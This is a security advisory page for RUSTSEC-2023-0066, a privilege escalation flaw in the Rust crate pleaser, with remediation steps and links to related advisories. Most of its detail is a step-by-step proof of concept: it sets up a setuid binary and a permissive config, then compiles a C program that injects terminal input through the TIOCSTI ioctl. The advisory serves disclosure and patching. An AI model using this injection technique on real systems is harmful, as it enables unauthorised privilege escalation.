RUSTSEC-2023-0066: Vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX

What to do

1. Find who pulls it in: cargo tree -i pleaser.
2. Avoid the affected API, or replace the crate.

Details from the advisory

please is vulnerable to privilege escalation using ioctls TIOCSTI and TIOCLINUX on systems where they are not disabled.

Here is how to see it in action:

$ cd "$(mktemp -d)"
$ git clone --depth 1 https://gitlab.com/edneville/please.git
$ cd please/
$ git rev-parse HEAD  # f3598f8fae5455a8ecf22afca19eaba7be5053c9
$ cargo test && cargo build --release
$ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini
$ sudo chown root:root ./target/release/please
$ sudo chmod u+s ./target/release/please
$ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c
#include <sys/ioctl.h>

int main(void) {
  const char *text = "id\n";
  while (*text)
    ioctl(0, TIOCSTI, text++);
  return 0;
}
TIOCSTI_C_EOF
$ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c
$ ./target/release/please -u nobody /tmp/TIOCSTI  # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

References

• Package: crates.io/crates/pleaser
• Advisory: rustsec.org/advisories/RUSTSEC-2023-0066.html
• Report: gitlab.com/edneville/please/-/issues/13

From the RustSec Advisory Database (CC0-1.0) via the OSV export, downloaded Oct 24, 2026. Severity score computed from the published CVSS vector.

Other advisories for pleaser

• Vulnerability HighRUSTSEC-2021-0101 · 2021-05-27Permissions bypass in pleaser
• Vulnerability HighRUSTSEC-2021-0102 · 2021-05-27Permissions bypass in pleaser
• Vulnerability LowRUSTSEC-2021-0104 · 2021-05-27File exposure in pleaser

Full security history of pleaser